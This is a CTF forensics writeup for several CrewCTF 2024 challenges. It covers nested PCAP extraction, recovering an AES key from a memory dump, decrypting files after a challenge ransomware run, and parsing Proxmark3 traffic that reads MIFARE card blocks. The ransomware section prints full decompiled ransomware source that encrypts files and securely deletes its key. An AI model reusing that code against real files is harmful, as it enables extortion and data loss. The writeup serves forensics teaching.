CrewCTF 2024 - Writeups
This is a writeup for all forensics challenges from CrewCTF 2024. Another great CTF from a well-known team where L3ak managed to achieve 5th place. Shame as we could have gotten 3rd place if more players were active during the week (DEFCON was right around the corner). Also, I am glad to finally have the opportunity to try out seal’s forensics challenges after knowing him for almost a year now.
Recursion [Forensics]
Question: I caught my co-worker moving some weird files on a USB, can you tell me whats going on?
Flag: crew{l00ks_l1ke_y0u_mad3_1t!}
We are given a PCAP file to investigate. Analyzing the PCAP file, a stream of USB traffic can be identified. However, no HID data could be extracted from the USB packets.
Using binwalk, an embedded ZIP archive inside the PCAP file can be identified. Extracting and decompressing the ZIP archive, another PCAP file can be obtained called layer4.pcapng
.
1
2
3
4
5
└─$ binwalk -D='.*' usb.pcapng
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
13811 0x35F3 gzip compressed data, maximum compression, has original file name: "layer4.pcapng", from FAT filesystem (MS-DOS, OS/2, NT), last modified: 2024-04-06 09:43:23
According to the challenge name, this was most likely a “matryoshka doll” situation where multiple layers of files are embedded into one another. Hence, repeating the process of extracting and decompressing the layers, the flag can be obtained at the final layer.
1
2
3
4
5
└─$ pwd
/home/kali/Desktop/_usb.pcapng.extracted/_layer4.pcapng.extracted/370F~/_layer3.pcapng.extracted/_layer2.pcapng.extracted
└─$ strings layer1.pcapng | grep crew
crew{l00ks_l1ke_y0u_mad3_1t!}
Crymem [Forensics]
Question: I obtained a memory dump including encrypted flag. How to decrypt it? Maybe, the source code leads us insights…
Flag: crew{M3m0ry_f0r3N_is_mysterious_@_crypt0_Challs}
We are given a C source code and a memory dump to investigate. Analyzing the C source code, it seems to be a script that encrypts the flag using AES-128-CBC. The script also seems to print the encoded flag and IV value statically after encryption.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/random.h>
#include <openssl/evp.h>
size_t file_read_with_delete(char* filename, unsigned int maxdatasize, uint8_t* readdata) {
int fd;
struct stat stbuf;
size_t file_size;
long page_size, map_size;
char* map;
char c = 0;
if (!filename) {
perror("filename is invalid\n");
return -1;
}
// open file
fd = open(filename, O_RDONLY);
if (fd < 0) {
perror("Error opening file for read\n");
return -1;
}
// obtain file size
if (fstat(fd, &stbuf) == -1) {
perror("fstat error\n");
return -1;
}
file_size = (size_t)(stbuf.st_size);
if ((unsigned int)file_size > maxdatasize) {
perror("filesize is too large\n");
return -1;
}
// mmap file
page_size = getpagesize();
map_size = (file_size / page_size + 1) * page_size;
if ((map = (char*)mmap(NULL, map_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) {
perror("mmap error\n");
return -1;
}
// read file to writedata
memcpy(readdata, map, file_size);
close(fd);
munmap(map, map_size);
// open file
fd = open(filename, O_RDWR);
if (fd < 0) {
perror("Error opening file for write\n");
return -1;
}
// mmap file
if ((map = (char*)mmap(NULL, map_size, PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED) {
perror("mmap error\n");
return -1;
}
// null overwrite
memset(map, 0, file_size);
msync(map, map_size, 0);
close(fd);
munmap(map, map_size);
return file_size;
}
int dummy_file_clear() {
#define DUMMYINSIZE (2097152)
int fd;
struct stat stbuf;
size_t file_size;
long page_size, map_size;
char* map;
char dummy_in[DUMMYINSIZE];
// open file
fd = open("/lib/x86_64-linux-gnu/libc.a", O_RDONLY);
if (fd < 0) {
perror("Error opening file for read\n");
return -1;
}
// obtain file size
if (fstat(fd, &stbuf) == -1) {
perror("fstat error\n");
return -1;
}
file_size = (size_t)(stbuf.st_size);
// mmap file
page_size = getpagesize();
map_size = (file_size / page_size + 1) * page_size;
if ((map = (char*)mmap(NULL, map_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) {
perror("mmap error\n");
return -1;
}
// read file to writedata
memcpy(dummy_in, map, DUMMYINSIZE);
close(fd);
munmap(map, map_size);
return 0;
}
int encrypt(uint8_t* out, const uint8_t* in, const uint8_t* key, const uint8_t* iv, int* out_len, int in_len) {
EVP_CIPHER_CTX *ctx;
if (!(ctx = EVP_CIPHER_CTX_new())) {
perror("Error creating EVP_CIPHER_CTX\n");
return -1;
}
if (1 != EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv)) {
perror("Error initializing encryption\n");
return -1;
}
if (1 != EVP_EncryptUpdate(ctx, out, out_len, in, in_len)) {
perror("Error during encryption\n");
return -1;
}
//EVP_CIPHER_CTX_free(ctx);
return 0;
}
int main() {
#define KEYSIZE (16)
#define IVSIZE (16)
#define MAXPLAINTEXTSIZE (64)
#define MAXCIPHERTEXTSIZE (64)
uint8_t key[KEYSIZE] = {0};
uint8_t iv[IVSIZE] = {0};
uint8_t in[MAXPLAINTEXTSIZE] = {0};
uint8_t out[MAXCIPHERTEXTSIZE] = {0};
int plaintextsize, ciphertextsize;
int i;
uint8_t dummy_out[MAXCIPHERTEXTSIZE] = {0};
if (getrandom(iv, IVSIZE, 0) != IVSIZE) {
perror("getrandom error\n");
return -1;
}
if (file_read_with_delete("tmp/key.txt", KEYSIZE, key) != KEYSIZE) {
perror("cannot read key.txt\n");
return -1;
}
if ((plaintextsize = (int)file_read_with_delete("tmp/plaintext.txt", MAXPLAINTEXTSIZE-1, in)) == -1) {
perror("cannot read plaintext.txt\n");
return -1;
}
in[plaintextsize] = '\0';
if (encrypt(out, in, key, iv, &ciphertextsize, plaintextsize) != 0) {
perror("Error at encrypt\n");
return -1;
}
// clear contexts
memset(in, 0, MAXPLAINTEXTSIZE);
dummy_file_clear();
printf("IVVALUE:");
for (i = 0; i < IVSIZE; i++) {
printf("%02x", iv[i]);
}
printf("\n");
printf("ENCFLAG:");
for (i = 0; i < ciphertextsize; i++) {
printf("%02x", out[i]);
}
printf("\n");
return 0;
}
However, the memory dump could not be analyzed with Volatility as it required a custom profile. Hence, the challenge most likely can be done with strings only using keywords from the C source code. By doing so, the values of the encoded flag and IV can be obtained, but not the key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
└─$ strings memdump.raw | grep -E "ENCFLAG|IVVALUE|key.txt|plaintext.txt"
key.txt
plaintext.txt
tmp/key.txt
cannot read key.txt
tmp/plaintext.txt
cannot read plaintext.txt
IVVALUE:
ENCFLAG:
key.txt
plaintext.txt
cp /mnt/hgfs/shared_debian12_ctf_test_1/plaintext.txt tmp/
cp /mnt/hgfs/shared_debian12_ctf_test_1/key.txt tmp/
IVVALUE:0ac516e1bc21a36e68932e05ff8aa480
ENCFLAG:caed872aab2b3427778413df7ffa0cb769db2ef567ddc815a3e43a2a0b69b0899a504b198720197c93b897f45313d469
cp /mnt/hgfs/shared_debian12_ctf_test_1/plaintext.txt tmp/
cp /mnt/hgfs/shared_debian12_ctf_test_1/key.txt tmp/
cp /mnt/hgfs/shared_debian12_ctf_test_1/plaintext.txt tmp/
cp /mnt/hgfs/shared_debian12_ctf_test_1/key.txt tmp/
tmp/key.txt
cannot read key.txt
tmp/plaintext.txt
cannot read plaintext.txt
IVVALUE:
ENCFLAG:
IVVALUE:0ac516e1bc21a36e68932e05ff8aa480
ENCFLAG:caed872aab2b3427778413df7ffa0cb769db2ef567ddc815a3e43a2a0b69b0899a504b198720197c93b897f45313d469
cp /mnt/hgfs/shared_debian12_ctf_test_1/plaintext.txt tmp/
cp /mnt/hgfs/shared_debian12_ctf_test_1/key.txt tmp/
MESSAGE= ctf : TTY=tty1 ; PWD=/home/ctf ; USER=root ; COMMAND=/usr/bin/chown ctf:ctf aes_sample.c aes_sample.out history20240216.txt key.txt plaintext.txt
cp /mnt/hgfs/shared_debian12_ctf_test_1/plaintext.txt tmp/
cp /mnt/hgfs/shared_debian12_ctf_test_1/key.txt tmp/
MESSAGE= ctf : TTY=tty1 ; PWD=/mnt/hgfs/shared_debian12_ctf_test_1 ; USER=root ; COMMAND=/usr/bin/chown ctf:ctf aes_sample.c aes_sample.out history20240216.txt key.txt plaintext.txt
_CMDLINE=sudo chown ctf:ctf aes_sample.c aes_sample.out history20240216.txt key.txt plaintext.txt
MESSAGE= ctf : TTY=tty1 ; PWD=/home/ctf ; USER=root ; COMMAND=/usr/bin/chown ctf:ctf aes_sample.c history20240216.txt key.txt plaintext.txt
_CMDLINE=sudo chown ctf:ctf aes_sample.c history20240216.txt key.txt plaintext.txt
Searching for several hours grepping random keywords, my teammate @ViviGhost managed to obtain the key using bulk extractor. With the key and IV, the flag can be obtained after decryption.
1
2
3
4
5
6
7
8
9
└─$ bulk_extractor -o output/ memdump.raw
└─$ cat aes_keys.txt
# BANNER FILE NOT PROVIDED (-b option)
# BULK_EXTRACTOR-Version: 2.1.1
# Feature-Recorder: aes_keys
# Filename: memdump.raw
# Feature-File-Version: 1.1
266205440 11 f9 f5 aa fa d8 e5 7c 0d 14 b2 e1 b5 2d 83 d6 AES128
Fiilllleeeeeeee [Forensics]
Question: I plugged in a USB and it encrypted my files. Luckily I had the initiative to take an image of the USB after the encryption occurred (fiilllleeeeeeee.ad1). Can you find a way of decrypting my most important file (flag.txt)? Note: The ransomware in the image should be harmless as it only targets a specific directory that is incredibly unlikely to exist by chance.
Flag: crew{d0_y0u_637_7h3_ch4ll3n63_n4m3?_f4a73851}
We are given an AD1 file and an encrypted flag to investigate. Analyzing the AD1 file, a ransomware note, a deleted file, and two executable files can be found within the root path of the C drive.
Extracting and analyzing each of them, sdelete64.exe
seems to be a Microsoft utility that securely deletes files from a system. Reading about SDelete, it seems that it actually overwrites the file name of each deleted files by renaming the file 26 times, each time replacing each character of the file’s name with a successive alphabetic character. Hence, ZZZZZZZZZZ
was most likely one of the deleted files. Analyzing fiilllleeeeeeee.exe
, it seems to be a compiled Python program. Decompiling it with PyLingual, the source code can be obtained.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: fiilllleeeeeeee.py
# Bytecode version: 3.12.0rc2 (3531)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import subprocess
from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey, X25519PublicKey
from cryptography.hazmat.primitives.ciphers import algorithms, Cipher, modes
from hashlib import sha256
from pathlib import Path
import os
import shelve
import sys
PUBLIC_KEY = X25519PublicKey.from_public_bytes(bytes.fromhex('18099b8ba29b20553ee1fb36280fce8fcd616d036c70d24fe7918bc199baa879'))
if getattr(sys, 'frozen', False):
WORKING_DIRECTORY = Path(sys.executable).parent
else:
WORKING_DIRECTORY = Path(__file__).parent
SHARED_KEY_FILE = WORKING_DIRECTORY / 'shared_key'
MESSAGE_FILE = WORKING_DIRECTORY / 'message.txt'
SDELETE_FILE = WORKING_DIRECTORY / 'sdelete64.exe'
ENCRYPT_DIRECTORY = Path.home() / 'Documents' / 'is_you_happen_to_have_a_directory_named_this_and_they_get_encrypted_then_its_on_you'
MAGIC = b'ENCRYPTED\x00\x00\x00\xde\xad\xbe\xef'
def main():
if SHARED_KEY_FILE.exists():
shared_key = SHARED_KEY_FILE.read_bytes()
else:
private_key = X25519PrivateKey.generate()
public_key = private_key.public_key().public_bytes_raw()
shared_key = sha256(private_key.exchange(PUBLIC_KEY)).digest()
MESSAGE_FILE.write_text(f'\n Whoops! Looks your files are encrypted.\n Email fake@example.com quoting the following unique ID to decrypt your files:\n {public_key.hex()}\n ')
SHARED_KEY_FILE.write_bytes(shared_key)
if ENCRYPT_DIRECTORY.exists() and ENCRYPT_DIRECTORY.is_dir():
for file in ENCRYPT_DIRECTORY.iterdir():
if not file.is_file():
continue
contents = file.read_bytes()
if contents.startswith(MAGIC):
continue
nonce = os.urandom(algorithms.AES256.block_size // 8)
cipher = Cipher(algorithms.AES256(shared_key), modes.CTR(nonce))
encryptor = cipher.encryptor()
file.write_bytes(MAGIC + nonce + encryptor.update(contents) + encryptor.finalize())
SHARED_KEY_FILE.write_bytes(b'A' * SHARED_KEY_FILE.stat().st_size)
subprocess.call([str(SDELETE_FILE.resolve()), '/accepteula', str(SHARED_KEY_FILE.resolve())])
subprocess.call(['notepad.exe', MESSAGE_FILE.resolve()])
if __name__ == '__main__':
main()
Analyzing the decompiled code, it seems like fiilllleeeeeeee.exe
was a ransomware encrypting files inside a Documents folder called is_you_happen_to_have_a_directory_named_this_and_they_get_encrypted_then_its_on_you
using AES-256-CTR, and also deleting the shared key file with SDelete after encrypting the files.
After several hours of static and dynamic malware analysis (and a good night’s sleep), my teammate @diracdelta suggested that the $LogFile
artifact might be useful for this challenge as it stores any file system events (aka transactions) in a system. More information about $LogFile
can be found here.
Essentially, because NTFS is known to be a journaling file system that allows the OS to maintain a transaction record of all changes (file creation, deletion, renaming, writing and moving) made to volume. Tools such as LogFileParser can be utilised to parse $LogFile
and view every transactions made within the system.
Analyzing the ntfs.db
file parsed LogFileParser, the shared key file can be seen being added as an index with offset 43 in the MFT and modified with a value right before being overwritten by SDelete. The logs mentioned looking at debug.log
for the decoded data dump of every file.
Using the file offset, the shared key can be obtained to obtain the flag after decryption.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import binascii
import os
MAGIC = b'ENCRYPTED\x00\x00\x00\xde\xad\xbe\xef'
SHARED_KEY_HEX = '00e0e41eef5fa2449180acdee971e220a33f2ce630a411ad3ae8668ce6261474'
ENCRYPTED_FILE = './flag.txt'
shared_key = binascii.unhexlify(SHARED_KEY_HEX)
def decrypt_file(file_path, shared_key):
with open(file_path, 'rb') as f:
contents = f.read()
if not contents.startswith(MAGIC):
print(f"{file_path} does not contain the expected MAGIC header.")
return
# Extract nonce and encrypted content
nonce = contents[len(MAGIC):len(MAGIC) + algorithms.AES256.block_size // 8]
encrypted_content = contents[len(MAGIC) + len(nonce):]
# Initialize AES-256-CTR decryption
cipher = Cipher(algorithms.AES256(shared_key), modes.CTR(nonce))
decryptor = cipher.decryptor()
decrypted_content = decryptor.update(encrypted_content) + decryptor.finalize()
print("Flag: " + decrypted_content.decode('utf-8'))
decrypt_file(ENCRYPTED_FILE, shared_key)
1
2
└─$ python decrypt.py
Flag: crew{d0_y0u_637_7h3_ch4ll3n63_n4m3?_f4a73851}
Unfare [Forensics]
Question: Someone was reading cards on my computer! Lucky I was listening…
Flag: crew{s3al_mak3_flag_l0ng_t0_c0v3r_th3s3_bl0cks!}
We are given a PCAP file to investigate. A stream of USB traffic can be identified within the PCAP file, so the HID data can be extracted for further analysis.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
└─$ tshark -r traffic.pcapng -T fields -e usb.capdata | grep -E "." | grep -v '0000000000000000' > traffic.txt
└─$ cat traffic.txt
504d336120800901000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f6133
504d3362208000000901000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f6233
504d3361008012016133
504d33620d80000012010600000000f09c0000d2ff1fe86233
504d3361008007016133
504d3362fa8100000701400a0b27a3e70400ee010000205b201b5b33336d41524d1b5b306d205d0a2020626f6f74726f6d3a204963656d616e2f6d61737465722f76342e31373134302d3133392d673532363633323139382d64697274792d7375737065637420323032332d31302d31372031393a32323a3336203864326539376263310a202020202020206f733a204963656d616e2f6d61737465722f76342e31373134302d3133392d673532363633323139382d64697274792d7375737065637420323032332d31302d31372031393a32323a3439203864326539376263310a2020636f6d70696c65642077697468204743432031302e332e31203230323130383234202872656c65617365290a0a205b201b5b33336d465047411b5b306d205d200a2020667067615f706d335f6c662e6e636420696d6167652032733330767131303020323032332d30382d32392031363a34343a30370a2020667067615f706d335f68662e6e636420696d6167652032733330767131303020323032332d30382d32392031363a34343a31390a2020667067615f706d335f66656c6963612e6e636420696d6167652032733330767131303020323032332d30382d32392031363a34343a34330a2020667067615f706d335f68665f31352e6e636420696d6167652032733330767131303020323032332d30382d32392031363a34343a3331006233
504d3361088020060800ffffffffffff6133
504d3362108000002006337688b61c3b5ce5f2091b6d8032d9956233
504d3361088020061100ffffffffffff6133
504d3362108000002006338bddfb4e37559b9aaea49b6a0dafaa6233
504d3361088020063d00ffffffffffff6133
504d33621080000020062107aded393150de1ce3325a13b8abf96233
504d3361088020061900ffffffffffff6133
504d33621080000020065fd92dcf98d59d29487b5dee39995fa16233
504d3361088020060e00ffffffffffff6133
504d336210800000200661c9877232b9e783e430bc2ecbf604616233
504d3361088020062400ffffffffffff6133
504d33621080000020065fadbb39be53fef32f00fa4f924863786233
504d3361088020061000ffffffffffff6133
504d33621080000020066b0d1458ca1abba068d4664163fcf15b6233
504d3361088020063800ffffffffffff6133
504d3362108000002006309c09062bb43e149155ae3392b810556233
504d3361088020062900ffffffffffff6133
504d336210800000200633b0c80585b9abea6e1743c18d14303d6233
504d3361088020060900ffffffffffff6133
504d336210800000200661452ec13b44b7b484eded217e55f2406233
504d3361088020063200ffffffffffff6133
504d3362108000002006336ca7bd28b6b614a8396a173b4304006233
504d3361088020063000ffffffffffff6133
504d336210800000200633344e2317595123e4b8d93914fce0a86233
504d3361088020063500ffffffffffff6133
504d33621080000020066223f2995a6f92e6b44b17262662568c6233
504d3361088020062e00ffffffffffff6133
504d33621080000020066800806fbc568fa6369a1defea517ac96233
504d3361088020060d00ffffffffffff6133
504d33621080000020066d86fa8014aec637ee3d7ad0975af16e6233
504d3361088020063a00ffffffffffff6133
504d33621080000020066bde66d8b65fc6e2dbfcd9e1d197e1a16233
504d3361088020062d00ffffffffffff6133
504d33621080000020067426ebbe0ba633697dd4e64fe9d751c76233
504d3361088020060200ffffffffffff6133
504d336210800000200665e86000c44c11b2c374155e60e49dac6233
504d3361088020062800ffffffffffff6133
504d336210800000200676dc21177f0d9a91594cc627467ca3e96233
504d3361088020061c00ffffffffffff6133
504d33621080000020063098ba30d2b5cc31dbf757f917fd577e6233
504d3361088020062c00ffffffffffff6133
504d33621080000020065fda2fcecf43661edfa58b7a8af34dac6233
504d3361088020062600ffffffffffff6133
504d3362108000002006300db215b54333058397fcf55863b1be6233
504d3361088020063e00ffffffffffff6133
504d33621080000020067d8e7982f641919e39cef1cc357773726233
504d3361088020062500ffffffffffff6133
504d336210800000200663445e9fb246648a21b2e54d4cb0c22d6233
504d3361088020061d00ffffffffffff6133
504d33621080000020066e6bf5bf7f79fe2c49089dabd1d8c23c6233
504d3361088020063400ffffffffffff6133
504d33621080000020065fcf5431b327c0ee0bed0ade1e1c353f6233
504d3361088020062a00ffffffffffff6133
504d336210800000200672907eae7510d8a6b8053aa843a6a70e6233
504d3361088020060000ffffffffffff6133
504d336210800000200663de34ee6708040002b21e2423271e1d6233
504d3361088020063c00ffffffffffff6133
504d33621080000020067371ba89b526281359e5e86dcefc5bb96233
504d3361088020061800ffffffffffff6133
504d33621080000020066705867aec3f3743ca1672d0850dff8b6233
504d3361088020060100ffffffffffff6133
504d3362108000002006720ed035962d2203b06bff6a4b79b8f36233
504d3361088020063600ffffffffffff6133
504d33621080000020066c613dc76ce6b225e48035a521bd2b776233
504d3361088020062200ffffffffffff6133
504d3362108000002006307c0012ca0c1babd0e2e8eaf7af2df36233
504d3361088020060600ffffffffffff6133
504d336210800000200673be1e531874b4419db2c26b5e1766906233
504d3361088020060400ffffffffffff6133
504d336210800000200677a1215c3bb5ef8c5270a10b94c681ba6233
504d3361088020063900ffffffffffff6133
504d336210800000200663776fff6a190f37b4c713915c83c3516233
504d3361088020061600ffffffffffff6133
504d336210800000200661ba52c76c145fe2591c120136e5a32b6233
504d3361088020061400ffffffffffff6133
504d3362108000002006665536c1ddb8536a420724d0551b8fb56233
504d3361088020062100ffffffffffff6133
504d3362108000002006740c759833093fc8ed15adffd8d31bc86233
504d3361088020060a00ffffffffffff6133
504d33621080000020066c5ae3fc47a105af8bb753ce72b5a6996233
504d3361088020061500ffffffffffff6133
504d33621080000020066c350643893fa9b3ab89125711ad2d6f6233
504d3361088020060c00ffffffffffff6133
504d33621080000020065f072d8eedef594206b77515846390a46233
504d3361088020063100ffffffffffff6133
504d3362108000002006738dfd0c15bd36f37f333cd5428039116233
504d3361088020061e00ffffffffffff6133
504d3362108000002006676d2b2f6de30795afc423c5fa5013d46233
504d3361088020061a00ffffffffffff6133
504d33621080000020066c1d25b571a7fbe75e14992cebd243436233
504d3361088020062000ffffffffffff6133
504d33621080000020065fa8aa559b800204129bad721b8e977a6233
504d3361088020061200ffffffffffff6133
504d33621080000020065ffc75e4ca64dddcba0f16ce6d2ea3d76233
504d3361088020060500ffffffffffff6133
504d33621080000020067b2d8b2170503fe263721a8ca2f380286233
The decoded HID data had certain strings that hinted on what the USB device might be. According to my teammate @KibethTheWalker, the device was most likely Proxmark3, an open-source tool designed for RFID and NFC technology.
My teammate @MinatoTW managed to locate the packet structure for Proxmark3 packets. Essentially, Proxmark3 packets follow a structured format, which includes a magic byte, command, length, CRC, and payload. Analyzing the packets in the PCAP, we can see the packets having magic bytes PM3a
and PM3b
, both indicating requests and responses respectively. According to this manual on the command types, a parser was created by @MinatoTW to order the data by their block number and took the output that corresponded to each block number.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
packets = open('./traffic.txt', 'rb').readlines()
packets = [x.strip() for x in packets]
cmds = {
0x0109: 'PING',
0x0112: 'CAPS',
0x0107: 'VERSION',
0x0620: 'CMD_HF_MIFARE_READBL',
}
def parse_input_payload(data: bytes):
payload = {}
payload['blockno'] = int.from_bytes(data[:1], 'little')
payload['keytype'] = int.from_bytes(data[1:2], 'little')
payload['key'] = data[2:8]
return payload
def parse_pkt_input(data: bytes):
pkt = {}
pkt['magic'] = int.from_bytes(data[:4], 'little')
length_ng = int.from_bytes(data[4:6], 'little')
pkt['length'] = length_ng & 0x7FFF
pkt['ng'] = bool(length_ng & 0x8000)
pkt['cmd'] = int.from_bytes(data[6:8], 'little')
pkt['cmd'] = cmds.get(pkt['cmd'])
pkt['data'] = data[8:8 + pkt['length']]
pkt['data'] = parse_input_payload(pkt['data'])
pkt['crc'] = int.from_bytes(data[8 + pkt['length']:8 + pkt['length'] + 2],
'little')
pkt['crc'] = hex(pkt['crc'])
return pkt
def parse_pkt_output(data: bytes):
pkt = {}
pkt['magic'] = int.from_bytes(data[:4], 'little')
length_ng = int.from_bytes(data[4:6], 'little')
pkt['length'] = length_ng & 0x7FFF
pkt['ng'] = bool(length_ng & 0x8000)
pkt['status'] = int.from_bytes(data[6:8], 'little', signed=True)
pkt['cmd'] = int.from_bytes(data[8:10], 'little')
pkt['cmd'] = cmds.get(pkt['cmd'])
pkt['data'] = data[10:10 + pkt['length']]
pkt['crc'] = int.from_bytes(
data[10 + pkt['length']:10 + pkt['length'] + 2], 'little')
pkt['crc'] = hex(pkt['crc'])
return pkt
flag = {}
inp = None
for packet in packets:
packet = packet.decode('utf-8')
data = bytes.fromhex(packet)
if data[:4] != b'PM3b' and data[:4] != b'PM3a':
continue
if data[:4] == b'PM3a':
print("Input: ")
pkt = parse_pkt_input(data)
print(pkt)
if pkt['cmd'] != 'CMD_HF_MIFARE_READBL':
continue
inp = pkt['data']['blockno']
print(inp)
if data[:4] == b'PM3b':
print("Output: ")
pkt = parse_pkt_output(data)
print(pkt)
data = pkt['data']
flag[inp] = chr(data[0])
# print(chr(data[0]), end='')
print(flag)
del flag[None]
# sort flag by keys
flag = dict(sorted(flag.items()))
flag = ''.join(flag.values())
print(flag)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
└─$ python script.py
Input:
{'magic': 1630752080, 'length': 32, 'ng': True, 'cmd': 'PING', 'data': {'blockno': 0, 'keytype': 1, 'key': b'\x02\x03\x04\x05\x06\x07'}, 'crc': '0x3361'}
Output:
{'magic': 1647529296, 'length': 32, 'ng': True, 'status': 0, 'cmd': 'PING', 'data': b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 0, 'ng': True, 'cmd': 'CAPS', 'data': {'blockno': 0, 'keytype': 0, 'key': b''}, 'crc': '0x3361'}
Output:
{'magic': 1647529296, 'length': 13, 'ng': True, 'status': 0, 'cmd': 'CAPS', 'data': b'\x06\x00\x00\x00\x00\xf0\x9c\x00\x00\xd2\xff\x1f\xe8', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 0, 'ng': True, 'cmd': 'VERSION', 'data': {'blockno': 0, 'keytype': 0, 'key': b''}, 'crc': '0x3361'}
Output:
{'magic': 1647529296, 'length': 506, 'ng': True, 'status': 0, 'cmd': 'VERSION', 'data': b"@\n\x0b'\xa3\xe7\x04\x00\xee\x01\x00\x00 [ \x1b[33mARM\x1b[0m ]\n bootrom: Iceman/master/v4.17140-139-g526632198-dirty-suspect 2023-10-17 19:22:36 8d2e97bc1\n os: Iceman/master/v4.17140-139-g526632198-dirty-suspect 2023-10-17 19:22:49 8d2e97bc1\n compiled with GCC 10.3.1 20210824 (release)\n\n [ \x1b[33mFPGA\x1b[0m ] \n fpga_pm3_lf.ncd image 2s30vq100 2023-08-29 16:44:07\n fpga_pm3_hf.ncd image 2s30vq100 2023-08-29 16:44:19\n fpga_pm3_felica.ncd image 2s30vq100 2023-08-29 16:44:43\n fpga_pm3_hf_15.ncd image 2s30vq100 2023-08-29 16:44:31\x00", 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 8, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
8
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'3v\x88\xb6\x1c;\\\xe5\xf2\t\x1bm\x802\xd9\x95', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 17, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
17
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'3\x8b\xdd\xfbN7U\x9b\x9a\xae\xa4\x9bj\r\xaf\xaa', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 61, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
61
Output:
{'magic': 1647529296, 'length': 16, 'ng': True, 'status': 0, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': b'!\x07\xad\xed91P\xde\x1c\xe32Z\x13\xb8\xab\xf9', 'crc': '0x3362'}
Input:
{'magic': 1630752080, 'length': 8, 'ng': True, 'cmd': 'CMD_HF_MIFARE_READBL', 'data': {'blockno': 25, 'keytype': 0, 'key': b'\xff\xff\xff\xff\xff\xff'}, 'crc': '0x3361'}
25
Output:
